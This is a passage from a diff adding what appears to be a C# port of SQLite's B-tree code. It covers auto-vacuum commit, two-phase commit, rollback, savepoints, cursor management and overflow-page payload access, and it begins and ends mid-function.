PENDING_BYTE_PAGE(pBt)) + { + /* It is not possible to create a database for which the final page + ** is either a pointer-map page or the pending-byte page. If one + ** is encountered, this indicates corruption. + */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + + nFree = sqlite3Get4byte(pBt.pPage1.aData, 36); + nEntry = pBt.usableSize / 5; + nPtrmap = (Pgno)(( nFree - nOrig + PTRMAP_PAGENO( pBt, nOrig ) + (Pgno)nEntry ) / nEntry); + nFin = nOrig - nFree - nPtrmap; + if (nOrig > PENDING_BYTE_PAGE(pBt) && nFin < PENDING_BYTE_PAGE(pBt)) + { + nFin--; + } + while (PTRMAP_ISPAGE(pBt, nFin) || nFin == PENDING_BYTE_PAGE(pBt)) + { + nFin--; + } + if (nFin > nOrig) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + + for (iFree = nOrig; iFree > nFin && rc == SQLITE_OK; iFree--) + { + rc = incrVacuumStep(pBt, nFin, iFree); + } + if ((rc == SQLITE_DONE || rc == SQLITE_OK) && nFree > 0) + { + rc = SQLITE_OK; + rc = sqlite3PagerWrite(pBt.pPage1.pDbPage); + sqlite3Put4byte(pBt.pPage1.aData, 32, 0); + sqlite3Put4byte(pBt.pPage1.aData, 36, 0); + sqlite3PagerTruncateImage(pBt.pPager, nFin); + } + if (rc != SQLITE_OK) + { + sqlite3PagerRollback(pPager); + } + } + + Debug.Assert(nRef == sqlite3PagerRefcount(pPager)); + return rc; + } + +#else //* ifndef SQLITE_OMIT_AUTOVACUUM */ +//# define setChildPtrmaps(x) SQLITE_OK +#endif + + /* +** This routine does the first phase of a two-phase commit. This routine +** causes a rollback journal to be created (if it does not already exist) +** and populated with enough information so that if a power loss occurs +** the database can be restored to its original state by playing back +** the journal. Then the contents of the journal are flushed out to +** the disk. After the journal is safely on oxide, the changes to the +** database are written into the database file and flushed to oxide. +** At the end of this call, the rollback journal still exists on the +** disk and we are still holding all locks, so the transaction has not +** committed. See sqlite3BtreeCommitPhaseTwo() for the second phase of the +** commit process. +** +** This call is a no-op if no write-transaction is currently active on pBt. +** +** Otherwise, sync the database file for the btree pBt. zMaster points to +** the name of a master journal file that should be written into the +** individual journal file, or is NULL, indicating no master journal file +** (single database transaction). +** +** When this is called, the master journal should already have been +** created, populated with this journal pointer and synced to disk. +** +** Once this is routine has returned, the only thing required to commit +** the write-transaction for this database file is to delete the journal. +*/ + static int sqlite3BtreeCommitPhaseOne(Btree p, string zMaster) + { + int rc = SQLITE_OK; + if (p.inTrans == TRANS_WRITE) + { + BtShared pBt = p.pBt; + sqlite3BtreeEnter(p); +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum) + { + rc = autoVacuumCommit(pBt); + if (rc != SQLITE_OK) + { + sqlite3BtreeLeave(p); + return rc; + } + } +#endif + rc = sqlite3PagerCommitPhaseOne(pBt.pPager, zMaster, false); + sqlite3BtreeLeave(p); + } + return rc; + } + + /* + ** This function is called from both BtreeCommitPhaseTwo() and BtreeRollback() + ** at the conclusion of a transaction. + */ + static void btreeEndTransaction(Btree p) + { + BtShared pBt = p.pBt; + BtCursor pCsr; + Debug.Assert(sqlite3BtreeHoldsMutex(p)); + + /* Search for a cursor held open by this b-tree connection. If one exists, + ** then the transaction will be downgraded to a read-only transaction + ** instead of actually concluded. A subsequent call to CommitPhaseTwo() + ** or Rollback() will finish the transaction and unlock the database. */ + for (pCsr = pBt.pCursor; pCsr != null && pCsr.pBtree != p; pCsr = pCsr.pNext) ; + Debug.Assert(pCsr == null || p.inTrans > TRANS_NONE); + + btreeClearHasContent(pBt); + if (pCsr != null) + { + downgradeAllSharedCacheTableLocks(p); + p.inTrans = TRANS_READ; + } + else + { + /* If the handle had any kind of transaction open, decrement the + ** transaction count of the shared btree. If the transaction count + ** reaches 0, set the shared state to TRANS_NONE. The unlockBtreeIfUnused() + ** call below will unlock the pager. */ + if (p.inTrans != TRANS_NONE) + { + clearAllSharedCacheTableLocks(p); + pBt.nTransaction--; + if (0 == pBt.nTransaction) + { + pBt.inTransaction = TRANS_NONE; + } + } + + /* Set the current transaction state to TRANS_NONE and unlock the + ** pager if this call closed the only read or write transaction. */ + p.inTrans = TRANS_NONE; + unlockBtreeIfUnused(pBt); + } + + btreeIntegrity(p); + } + + /* + ** Commit the transaction currently in progress. + ** + ** This routine implements the second phase of a 2-phase commit. The + ** sqlite3BtreeCommitPhaseOne() routine does the first phase and should + ** be invoked prior to calling this routine. The sqlite3BtreeCommitPhaseOne() + ** routine did all the work of writing information out to disk and flushing the + ** contents so that they are written onto the disk platter. All this + ** routine has to do is delete or truncate or zero the header in the + ** the rollback journal (which causes the transaction to commit) and + ** drop locks. + ** + ** This will release the write lock on the database file. If there + ** are no active cursors, it also releases the read lock. + */ + static int sqlite3BtreeCommitPhaseTwo(Btree p) + { + BtShared pBt = p.pBt; + + sqlite3BtreeEnter(p); + btreeIntegrity(p); + + /* If the handle has a write-transaction open, commit the shared-btrees + ** transaction and set the shared state to TRANS_READ. + */ + if (p.inTrans == TRANS_WRITE) + { + int rc; + Debug.Assert(pBt.inTransaction == TRANS_WRITE); + Debug.Assert(pBt.nTransaction > 0); + rc = sqlite3PagerCommitPhaseTwo(pBt.pPager); + if (rc != SQLITE_OK) + { + sqlite3BtreeLeave(p); + return rc; + } + pBt.inTransaction = TRANS_READ; + } + + btreeEndTransaction(p); + sqlite3BtreeLeave(p); + return SQLITE_OK; + } + + /* + ** Do both phases of a commit. + */ + static int sqlite3BtreeCommit(Btree p) + { + int rc; + sqlite3BtreeEnter(p); + rc = sqlite3BtreeCommitPhaseOne(p, null); + if (rc == SQLITE_OK) + { + rc = sqlite3BtreeCommitPhaseTwo(p); + } + sqlite3BtreeLeave(p); + return rc; + } + +#if !NDEBUG || DEBUG + /* +** Return the number of write-cursors open on this handle. This is for use +** in Debug.Assert() expressions, so it is only compiled if NDEBUG is not +** defined. +** +** For the purposes of this routine, a write-cursor is any cursor that +** is capable of writing to the databse. That means the cursor was +** originally opened for writing and the cursor has not be disabled +** by having its state changed to CURSOR_FAULT. +*/ + static int countWriteCursors(BtShared pBt) + { + BtCursor pCur; + int r = 0; + for (pCur = pBt.pCursor; pCur != null; pCur = pCur.pNext) + { + if (pCur.wrFlag != 0 && pCur.eState != CURSOR_FAULT) r++; + } + return r; + } +#else +static int countWriteCursors(BtShared pBt) { return -1; } +#endif + + /* +** This routine sets the state to CURSOR_FAULT and the error +** code to errCode for every cursor on BtShared that pBtree +** references. +** +** Every cursor is tripped, including cursors that belong +** to other database connections that happen to be sharing +** the cache with pBtree. +** +** This routine gets called when a rollback occurs. +** All cursors using the same cache must be tripped +** to prevent them from trying to use the btree after +** the rollback. The rollback may have deleted tables +** or moved root pages, so it is not sufficient to +** save the state of the cursor. The cursor must be +** invalidated. +*/ + static void sqlite3BtreeTripAllCursors(Btree pBtree, int errCode) + { + BtCursor p; + sqlite3BtreeEnter(pBtree); + for (p = pBtree.pBt.pCursor; p != null; p = p.pNext) + { + int i; + sqlite3BtreeClearCursor(p); + p.eState = CURSOR_FAULT; + p.skipNext = errCode; + for (i = 0; i <= p.iPage; i++) + { + releasePage(p.apPage[i]); + p.apPage[i] = null; + } + } + sqlite3BtreeLeave(pBtree); + } + + /* + ** Rollback the transaction in progress. All cursors will be + ** invalided by this operation. Any attempt to use a cursor + ** that was open at the beginning of this operation will result + ** in an error. + ** + ** This will release the write lock on the database file. If there + ** are no active cursors, it also releases the read lock. + */ + static int sqlite3BtreeRollback(Btree p) + { + int rc; + BtShared pBt = p.pBt; + MemPage pPage1 = new MemPage(); + + sqlite3BtreeEnter(p); + rc = saveAllCursors(pBt, 0, null); +#if !SQLITE_OMIT_SHARED_CACHE +if( rc!=SQLITE_OK ){ +/* This is a horrible situation. An IO or malloc() error occurred whilst +** trying to save cursor positions. If this is an automatic rollback (as +** the result of a constraint, malloc() failure or IO error) then +** the cache may be internally inconsistent (not contain valid trees) so +** we cannot simply return the error to the caller. Instead, abort +** all queries that may be using any of the cursors that failed to save. +*/ +sqlite3BtreeTripAllCursors(p, rc); +} +#endif + btreeIntegrity(p); + + if (p.inTrans == TRANS_WRITE) + { + int rc2; + + Debug.Assert(TRANS_WRITE == pBt.inTransaction); + rc2 = sqlite3PagerRollback(pBt.pPager); + if (rc2 != SQLITE_OK) + { + rc = rc2; + } + + /* The rollback may have destroyed the pPage1.aData value. So + ** call btreeGetPage() on page 1 again to make + ** sure pPage1.aData is set correctly. */ + if (btreeGetPage(pBt, 1, ref pPage1, 0) == SQLITE_OK) + { + releasePage(pPage1); + } + Debug.Assert(countWriteCursors(pBt) == 0); + pBt.inTransaction = TRANS_READ; + } + + btreeEndTransaction(p); + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** Start a statement subtransaction. The subtransaction can can be rolled + ** back independently of the main transaction. You must start a transaction + ** before starting a subtransaction. The subtransaction is ended automatically + ** if the main transaction commits or rolls back. + ** + ** Statement subtransactions are used around individual SQL statements + ** that are contained within a BEGIN...COMMIT block. If a constraint + ** error occurs within the statement, the effect of that one statement + ** can be rolled back without having to rollback the entire transaction. + ** + ** A statement sub-transaction is implemented as an anonymous savepoint. The + ** value passed as the second parameter is the total number of savepoints, + ** including the new anonymous savepoint, open on the B-Tree. i.e. if there + ** are no active savepoints and no other statement-transactions open, + ** iStatement is 1. This anonymous savepoint can be released or rolled back + ** using the sqlite3BtreeSavepoint() function. + */ + static int sqlite3BtreeBeginStmt(Btree p, int iStatement) + { + int rc; + BtShared pBt = p.pBt; + sqlite3BtreeEnter(p); + Debug.Assert(p.inTrans == TRANS_WRITE); + Debug.Assert(!pBt.readOnly); + Debug.Assert(iStatement > 0); + Debug.Assert(iStatement > p.db.nSavepoint); + if (NEVER(p.inTrans != TRANS_WRITE || pBt.readOnly)) + { + rc = SQLITE_INTERNAL; + } + else + { + Debug.Assert(pBt.inTransaction == TRANS_WRITE); + /* At the pager level, a statement transaction is a savepoint with + ** an index greater than all savepoints created explicitly using + ** SQL statements. It is illegal to open, release or rollback any + ** such savepoints while the statement transaction savepoint is active. + */ + rc = sqlite3PagerOpenSavepoint(pBt.pPager, iStatement); + } + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** The second argument to this function, op, is always SAVEPOINT_ROLLBACK + ** or SAVEPOINT_RELEASE. This function either releases or rolls back the + ** savepoint identified by parameter iSavepoint, depending on the value + ** of op. + ** + ** Normally, iSavepoint is greater than or equal to zero. However, if op is + ** SAVEPOINT_ROLLBACK, then iSavepoint may also be -1. In this case the + ** contents of the entire transaction are rolled back. This is different + ** from a normal transaction rollback, as no locks are released and the + ** transaction remains open. + */ + static int sqlite3BtreeSavepoint(Btree p, int op, int iSavepoint) + { + int rc = SQLITE_OK; + if (p != null && p.inTrans == TRANS_WRITE) + { + BtShared pBt = p.pBt; + Debug.Assert(op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK); + Debug.Assert(iSavepoint >= 0 || (iSavepoint == -1 && op == SAVEPOINT_ROLLBACK)); + sqlite3BtreeEnter(p); + rc = sqlite3PagerSavepoint(pBt.pPager, op, iSavepoint); + if (rc == SQLITE_OK) + { + rc = newDatabase(pBt); + } + sqlite3BtreeLeave(p); + } + return rc; + } + + /* + ** Create a new cursor for the BTree whose root is on the page + ** iTable. If a read-only cursor is requested, it is assumed that + ** the caller already has at least a read-only transaction open + ** on the database already. If a write-cursor is requested, then + ** the caller is assumed to have an open write transaction. + ** + ** If wrFlag==null, then the cursor can only be used for reading. + ** If wrFlag==1, then the cursor can be used for reading or for + ** writing if other conditions for writing are also met. These + ** are the conditions that must be met in order for writing to + ** be allowed: + ** + ** 1: The cursor must have been opened with wrFlag==1 + ** + ** 2: Other database connections that share the same pager cache + ** but which are not in the READ_UNCOMMITTED state may not have + ** cursors open with wrFlag==null on the same table. Otherwise + ** the changes made by this write cursor would be visible to + ** the read cursors in the other database connection. + ** + ** 3: The database must be writable (not on read-only media) + ** + ** 4: There must be an active transaction. + ** + ** No checking is done to make sure that page iTable really is the + ** root page of a b-tree. If it is not, then the cursor acquired + ** will not work correctly. + ** + ** It is assumed that the sqlite3BtreeCursorSize() bytes of memory + ** pointed to by pCur have been zeroed by the caller. + */ + static int btreeCursor( + Btree p, /* The btree */ + int iTable, /* Root page of table to open */ + int wrFlag, /* 1 to write. 0 read-only */ + KeyInfo pKeyInfo, /* First arg to comparison function */ + BtCursor pCur /* Space for new cursor */ + ) + { + BtShared pBt = p.pBt; /* Shared b-tree handle */ + + Debug.Assert(sqlite3BtreeHoldsMutex(p)); + Debug.Assert(wrFlag == 0 || wrFlag == 1); + + /* The following Debug.Assert statements verify that if this is a sharable + ** b-tree database, the connection is holding the required table locks, + ** and that no other connection has any open cursor that conflicts with + ** this lock. */ + Debug.Assert(hasSharedCacheTableLock(p, (u32)iTable, pKeyInfo != null ? 1 : 0, wrFlag + 1)); + Debug.Assert(wrFlag == 0 || !hasReadConflicts(p, (u32)iTable)); + + /* Assert that the caller has opened the required transaction. */ + Debug.Assert(p.inTrans > TRANS_NONE); + Debug.Assert(wrFlag == 0 || p.inTrans == TRANS_WRITE); + Debug.Assert(pBt.pPage1 != null && pBt.pPage1.aData != null); + + if (NEVER(wrFlag != 0 && pBt.readOnly)) + { + return SQLITE_READONLY; + } + if (iTable == 1 && pagerPagecount(pBt) == 0) + { + return SQLITE_EMPTY; + } + + /* Now that no other errors can occur, finish filling in the BtCursor + ** variables and link the cursor into the BtShared list. */ + pCur.pgnoRoot = (Pgno)iTable; + pCur.iPage = -1; + pCur.pKeyInfo = pKeyInfo; + pCur.pBtree = p; + pCur.pBt = pBt; + pCur.wrFlag = (u8)wrFlag; + pCur.pNext = pBt.pCursor; + if (pCur.pNext != null) + { + pCur.pNext.pPrev = pCur; + } + pBt.pCursor = pCur; + pCur.eState = CURSOR_INVALID; + pCur.cachedRowid = 0; + return SQLITE_OK; + } + static int sqlite3BtreeCursor( + Btree p, /* The btree */ + int iTable, /* Root page of table to open */ + int wrFlag, /* 1 to write. 0 read-only */ + KeyInfo pKeyInfo, /* First arg to xCompare() */ + BtCursor pCur /* Write new cursor here */ + ) + { + int rc; + sqlite3BtreeEnter(p); + rc = btreeCursor(p, iTable, wrFlag, pKeyInfo, pCur); + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** Return the size of a BtCursor object in bytes. + ** + ** This interfaces is needed so that users of cursors can preallocate + ** sufficient storage to hold a cursor. The BtCursor object is opaque + ** to users so they cannot do the sizeof() themselves - they must call + ** this routine. + */ + static int sqlite3BtreeCursorSize() + { + return -1; // Not Used -- sizeof( BtCursor ); + } + /* + ** Set the cached rowid value of every cursor in the same database file + ** as pCur and having the same root page number as pCur. The value is + ** set to iRowid. + ** + ** Only positive rowid values are considered valid for this cache. + ** The cache is initialized to zero, indicating an invalid cache. + ** A btree will work fine with zero or negative rowids. We just cannot + ** cache zero or negative rowids, which means tables that use zero or + ** negative rowids might run a little slower. But in practice, zero + ** or negative rowids are very uncommon so this should not be a problem. + */ + static void sqlite3BtreeSetCachedRowid(BtCursor pCur, sqlite3_int64 iRowid) + { + BtCursor p; + for (p = pCur.pBt.pCursor; p != null; p = p.pNext) + { + if (p.pgnoRoot == pCur.pgnoRoot) p.cachedRowid = iRowid; + } + Debug.Assert(pCur.cachedRowid == iRowid); + } + + /* + ** Return the cached rowid for the given cursor. A negative or zero + ** return value indicates that the rowid cache is invalid and should be + ** ignored. If the rowid cache has never before been set, then a + ** zero is returned. + */ + static sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor pCur) + { + return pCur.cachedRowid; + } + + /* + ** Close a cursor. The read lock on the database file is released + ** when the last cursor is closed. + */ + static int sqlite3BtreeCloseCursor(BtCursor pCur) + { + Btree pBtree = pCur.pBtree; + if (pBtree != null) + { + int i; + BtShared pBt = pCur.pBt; + sqlite3BtreeEnter(pBtree); + sqlite3BtreeClearCursor(pCur); + if (pCur.pPrev != null) + { + pCur.pPrev.pNext = pCur.pNext; + } + else + { + pBt.pCursor = pCur.pNext; + } + if (pCur.pNext != null) + { + pCur.pNext.pPrev = pCur.pPrev; + } + for (i = 0; i <= pCur.iPage; i++) + { + releasePage(pCur.apPage[i]); + } + unlockBtreeIfUnused(pBt); + invalidateOverflowCache(pCur); + /* sqlite3_free(ref pCur); */ + sqlite3BtreeLeave(pBtree); + } + return SQLITE_OK; + } + + /* + ** Make sure the BtCursor* given in the argument has a valid + ** BtCursor.info structure. If it is not already valid, call + ** btreeParseCell() to fill it in. + ** + ** BtCursor.info is a cache of the information in the current cell. + ** Using this cache reduces the number of calls to btreeParseCell(). + ** + ** 2007-06-25: There is a bug in some versions of MSVC that cause the + ** compiler to crash when getCellInfo() is implemented as a macro. + ** But there is a measureable speed advantage to using the macro on gcc + ** (when less compiler optimizations like -Os or -O0 are used and the + ** compiler is not doing agressive inlining.) So we use a real function + ** for MSVC and a macro for everything else. Ticket #2457. + */ +#if !NDEBUG + static void assertCellInfo(BtCursor pCur) + { + CellInfo info; + int iPage = pCur.iPage; + info = new CellInfo();//memset(info, 0, sizeof(info)); + btreeParseCell(pCur.apPage[iPage], pCur.aiIdx[iPage], ref info); + Debug.Assert(info.Equals(pCur.info));//memcmp(info, pCur.info, sizeof(info))==0 ); + } +#else +// #define assertCellInfo(x) +static void assertCellInfo(BtCursor pCur) { } +#endif +#if _MSC_VER + /* Use a real function in MSVC to work around bugs in that compiler. */ + static void getCellInfo(BtCursor pCur) + { + if (pCur.info.nSize == 0) + { + int iPage = pCur.iPage; + btreeParseCell( pCur.apPage[iPage], pCur.aiIdx[iPage], ref pCur.info ); + pCur.validNKey = true; + } + else + { + assertCellInfo(pCur); + } + } +#else //* if not _MSC_VER */ +/* Use a macro in all other compilers so that the function is inlined */ +//#define getCellInfo(pCur) \ +// if( pCur.info.nSize==null ){ \ +// int iPage = pCur.iPage; \ +// btreeParseCell(pCur.apPage[iPage],pCur.aiIdx[iPage],&pCur.info); \ +// pCur.validNKey = true; \ +// }else{ \ +// assertCellInfo(pCur); \ +// } +#endif //* _MSC_VER */ + +#if !NDEBUG //* The next routine used only within Debug.Assert() statements */ + /* +** Return true if the given BtCursor is valid. A valid cursor is one +** that is currently pointing to a row in a (non-empty) table. +** This is a verification routine is used only within Debug.Assert() statements. +*/ + static bool sqlite3BtreeCursorIsValid(BtCursor pCur) + { + return pCur != null && pCur.eState == CURSOR_VALID; + } +#else +static bool sqlite3BtreeCursorIsValid(BtCursor pCur) { return true; } +#endif //* NDEBUG */ + + /* +** Set pSize to the size of the buffer needed to hold the value of +** the key for the current entry. If the cursor is not pointing +** to a valid entry, pSize is set to 0. +** +** For a table with the INTKEY flag set, this routine returns the key +** itself, not the number of bytes in the key. +** +** The caller must position the cursor prior to invoking this routine. +** +** This routine cannot fail. It always returns SQLITE_OK. +*/ + static int sqlite3BtreeKeySize(BtCursor pCur, ref i64 pSize) + { + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_INVALID || pCur.eState == CURSOR_VALID); + if (pCur.eState != CURSOR_VALID) + { + pSize = 0; + } + else + { + getCellInfo(pCur); + pSize = pCur.info.nKey; + } + return SQLITE_OK; + } + + /* + ** Set pSize to the number of bytes of data in the entry the + ** cursor currently points to. + ** + ** The caller must guarantee that the cursor is pointing to a non-NULL + ** valid entry. In other words, the calling procedure must guarantee + ** that the cursor has Cursor.eState==CURSOR_VALID. + ** + ** Failure is not possible. This function always returns SQLITE_OK. + ** It might just as well be a procedure (returning void) but we continue + ** to return an integer result code for historical reasons. + */ + static int sqlite3BtreeDataSize(BtCursor pCur, ref u32 pSize) + { + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + getCellInfo(pCur); + pSize = pCur.info.nData; + return SQLITE_OK; + } + + /* + ** Given the page number of an overflow page in the database (parameter + ** ovfl), this function finds the page number of the next page in the + ** linked list of overflow pages. If possible, it uses the auto-vacuum + ** pointer-map data instead of reading the content of page ovfl to do so. + ** + ** If an error occurs an SQLite error code is returned. Otherwise: + ** + ** The page number of the next overflow page in the linked list is + ** written to pPgnoNext. If page ovfl is the last page in its linked + ** list, pPgnoNext is set to zero. + ** + ** If ppPage is not NULL, and a reference to the MemPage object corresponding + ** to page number pOvfl was obtained, then ppPage is set to point to that + ** reference. It is the responsibility of the caller to call releasePage() + ** on ppPage to free the reference. In no reference was obtained (because + ** the pointer-map was used to obtain the value for pPgnoNext), then + ** ppPage is set to zero. + */ + static int getOverflowPage( + BtShared pBt, /* The database file */ + Pgno ovfl, /* Current overflow page number */ + ref MemPage ppPage, /* OUT: MemPage handle (may be NULL) */ + ref Pgno pPgnoNext /* OUT: Next overflow page number */ + ) + { + Pgno next = 0; + MemPage pPage = null; + int rc = SQLITE_OK; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + // Debug.Assert( pPgnoNext); + +#if !SQLITE_OMIT_AUTOVACUUM + /* Try to find the next page in the overflow list using the +** autovacuum pointer-map pages. Guess that the next page in +** the overflow list is page number (ovfl+1). If that guess turns +** out to be wrong, fall back to loading the data of page +** number ovfl to determine the next page number. +*/ + if (pBt.autoVacuum) + { + Pgno pgno = 0; + Pgno iGuess = ovfl + 1; + u8 eType = 0; + + while (PTRMAP_ISPAGE(pBt, iGuess) || iGuess == PENDING_BYTE_PAGE(pBt)) + { + iGuess++; + } + + if (iGuess <= pagerPagecount(pBt)) + { + rc = ptrmapGet(pBt, iGuess, ref eType, ref pgno); + if (rc == SQLITE_OK && eType == PTRMAP_OVERFLOW2 && pgno == ovfl) + { + next = iGuess; + rc = SQLITE_DONE; + } + } + } +#endif + + Debug.Assert(next == 0 || rc == SQLITE_DONE); + if (rc == SQLITE_OK) + { + rc = btreeGetPage(pBt, ovfl, ref pPage, 0); + Debug.Assert(rc == SQLITE_OK || pPage == null); + if (rc == SQLITE_OK) + { + next = sqlite3Get4byte(pPage.aData); + } + } + + pPgnoNext = next; + if (ppPage != null) + { + ppPage = pPage; + } + else + { + releasePage(pPage); + } + return (rc == SQLITE_DONE ? SQLITE_OK : rc); + } + + /* + ** Copy data from a buffer to a page, or from a page to a buffer. + ** + ** pPayload is a pointer to data stored on database page pDbPage. + ** If argument eOp is false, then nByte bytes of data are copied + ** from pPayload to the buffer pointed at by pBuf. If eOp is true, + ** then sqlite3PagerWrite() is called on pDbPage and nByte bytes + ** of data are copied from the buffer pBuf to pPayload. + ** + ** SQLITE_OK is returned on success, otherwise an error code. + */ + static int copyPayload( + byte[] pPayload, /* Pointer to page data */ + u32 payloadOffset, /* Offset into page data */ + byte[] pBuf, /* Pointer to buffer */ + u32 pBufOffset, /* Offset into buffer */ + u32 nByte, /* Number of bytes to copy */ + int eOp, /* 0 . copy from page, 1 . copy to page */ + DbPage pDbPage /* Page containing pPayload */ + ) + { + if (eOp != 0) + { + /* Copy data from buffer to page (a write operation) */ + int rc = sqlite3PagerWrite(pDbPage); + if (rc != SQLITE_OK) + { + return rc; + } + Buffer.BlockCopy(pBuf, (int)pBufOffset, pPayload, (int)payloadOffset, (int)nByte);// memcpy( pPayload, pBuf, nByte ); + } + else + { + /* Copy data from page to buffer (a read operation) */ + Buffer.BlockCopy(pPayload, (int)payloadOffset, pBuf, (int)pBufOffset, (int)nByte);//memcpy(pBuf, pPayload, nByte); + } + return SQLITE_OK; + } + //static int copyPayload( + // byte[] pPayload, /* Pointer to page data */ + // byte[] pBuf, /* Pointer to buffer */ + // int nByte, /* Number of bytes to copy */ + // int eOp, /* 0 -> copy from page, 1 -> copy to page */ + // DbPage pDbPage /* Page containing pPayload */ + //){ + // if( eOp!=0 ){ + // /* Copy data from buffer to page (a write operation) */ + // int rc = sqlite3PagerWrite(pDbPage); + // if( rc!=SQLITE_OK ){ + // return rc; + // } + // memcpy(pPayload, pBuf, nByte); + // }else{ + // /* Copy data from page to buffer (a read operation) */ + // memcpy(pBuf, pPayload, nByte); + // } + // return SQLITE_OK; + //} + + /* + ** This function is used to read or overwrite payload information + ** for the entry that the pCur cursor is pointing to. If the eOp + ** parameter is 0, this is a read operation (data copied into + ** buffer pBuf). If it is non-zero, a write (data copied from + ** buffer pBuf). + ** + ** A total of "amt" bytes are read or written beginning at "offset". + ** Data is read to or from the buffer pBuf. + ** + ** The content being read or written might appear on the main page + ** or be scattered out on multiple overflow pages. + ** + ** If the BtCursor.isIncrblobHandle flag is set, and the current + ** cursor entry uses one or more overflow pages, this function + ** allocates space for and lazily popluates the overflow page-list + ** cache array (BtCursor.aOverflow). Subsequent calls use this + ** cache to make seeking to the supplied offset more efficient. + ** + ** Once an overflow page-list cache has been allocated, it may be + ** invalidated if some other cursor writes to the same table, or if + ** the cursor is moved to a different row. Additionally, in auto-vacuum + ** mode, the following events may invalidate an overflow page-list cache. + ** + ** * An incremental vacuum, + ** * A commit in auto_vacuum="full" mode, + ** * Creating a table (may require moving an overflow page). + */ + static int accessPayload( + BtCursor pCur, /* Cursor pointing to entry to read from */ + u32 offset, /* Begin reading this far into payload */ + u32 amt, /* Read this many bytes */ + byte[] pBuf, /* Write the bytes into this buffer */ + int eOp /* zero to read. non-zero to write. */ + ) + { + u32 pBufOffset = 0; + byte[] aPayload; + int rc = SQLITE_OK; + u32 nKey; + int iIdx = 0; + MemPage pPage = pCur.apPage[pCur.iPage]; /* Btree page of current entry */ + BtShared pBt = pCur.pBt; /* Btree this cursor belongs to */ + + Debug.Assert(pPage != null); + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); + Debug.Assert(cursorHoldsMutex(pCur)); + + getCellInfo(pCur); + aPayload = pCur.info.pCell; //pCur.info.pCell + pCur.info.nHeader; + nKey = (u32)(pPage.intKey != 0 ? 0 : (int)pCur.info.nKey); + + if (NEVER(offset + amt > nKey + pCur.info.nData) + || pCur.info.nLocal > pBt.usableSize//&aPayload[pCur.info.nLocal] > &pPage.aData[pBt.usableSize] + ) + { + /* Trying to read or write past the end of the data is an error */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + + /* Check if data must be read/written to/from the btree page itself. */ + if (offset < pCur.info.nLocal) + { + int a = (int)amt; + if (a + offset > pCur.info.nLocal) + { + a = (int)(pCur.info.nLocal - offset); + } + rc = copyPayload(aPayload, (u32)(offset + pCur.info.iCell + pCur.info.nHeader), pBuf, pBufOffset, (u32)a, eOp, pPage.pDbPage); + offset = 0; + pBufOffset += (u32)a; //pBuf += a; + amt -= (u32)a; + } + else + { + offset -= pCur.info.nLocal; + } + + if (rc == SQLITE_OK && amt > 0) + { + u32 ovflSize = (u32)(pBt.usableSize - 4); /* Bytes content per ovfl page */ + Pgno nextPage; + + nextPage = sqlite3Get4byte(aPayload, pCur.info.nLocal + pCur.info.iCell + pCur.info.nHeader); + +#if !SQLITE_OMIT_INCRBLOB +/* If the isIncrblobHandle flag is set and the BtCursor.aOverflow[] +** has not been allocated, allocate it now. The array is sized at +** one entry for each overflow page in the overflow chain. The +** page number of the first overflow page is stored in aOverflow[0], +** etc. A value of 0 in the aOverflow[] array means "not yet known" +** (the cache is lazily populated). +*/ +if( pCur.isIncrblobHandle && !pCur.aOverflow ){ +int nOvfl = (pCur.info.nPayload-pCur.info.nLocal+ovflSize-1)/ovflSize; +pCur.aOverflow = (Pgno *)sqlite3MallocZero(sizeof(Pgno)*nOvfl); +/* nOvfl is always positive. If it were zero, fetchPayload would have +** been used instead of this routine. */ +if( ALWAYS(nOvfl) && !pCur.aOverflow ){ +rc = SQLITE_NOMEM; +} +} + +/* If the overflow page-list cache has been allocated and the +** entry for the first required overflow page is valid, skip +** directly to it. +*/ +if( pCur.aOverflow && pCur.aOverflow[offset/ovflSize] ){ +iIdx = (offset/ovflSize); +nextPage = pCur.aOverflow[iIdx]; +offset = (offset%ovflSize); +} +#endif + + for (; rc == SQLITE_OK && amt > 0 && nextPage != 0; iIdx++) + { + +#if !SQLITE_OMIT_INCRBLOB +/* If required, populate the overflow page-list cache. */ +if( pCur.aOverflow ){ +Debug.Assert(!pCur.aOverflow[iIdx] || pCur.aOverflow[iIdx]==nextPage); +pCur.aOverflow[iIdx] = nextPage; +} +#endif + + MemPage MemPageDummy = null; + if (offset >= ovflSize) + { + /* The only reason to read this page is to obtain the page + ** number for the next page in the overflow chain. The page + ** data is not required. So first try to lookup the overflow + ** page-list cache, if any, then fall back to the getOverflowPage() + ** function. + */ +#if !SQLITE_OMIT_INCRBLOB +if( pCur.aOverflow && pCur.aOverflow[iIdx+1] ){ +nextPage = pCur.aOverflow[iIdx+1]; +} else +#endif + rc = getOverflowPage(pBt, nextPage, ref MemPageDummy, ref nextPage); + offset -= ovflSize; + } + else + { + /* Need to read this page properly. It contains some of the + ** range of data that is being read (eOp==null) or written (eOp!=null). + */ + DbPage pDbPage = new PgHdr(); + int a = (int)amt; + rc = sqlite3PagerGet(pBt.pPager, nextPage, ref pDbPage); + if (rc == SQLITE_OK) + { + aPayload = sqlite3PagerGetData(pDbPage); + nextPage = sqlite3Get4byte(aPayload); + if (a + offset > ovflSize) + { + a = (int)(ovflSize - offset); + } + rc = copyPayload(aPayload, offset + 4, pBuf, pBufOffset, (u32)a, eOp, pDbPage); + sqlite3PagerUnref(pDbPage); + offset = 0; + amt -= (u32)a; + pBufOffset += (u32)a;//pBuf += a; + } + } + } + } + + if (rc == SQLITE_OK && amt > 0) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + return 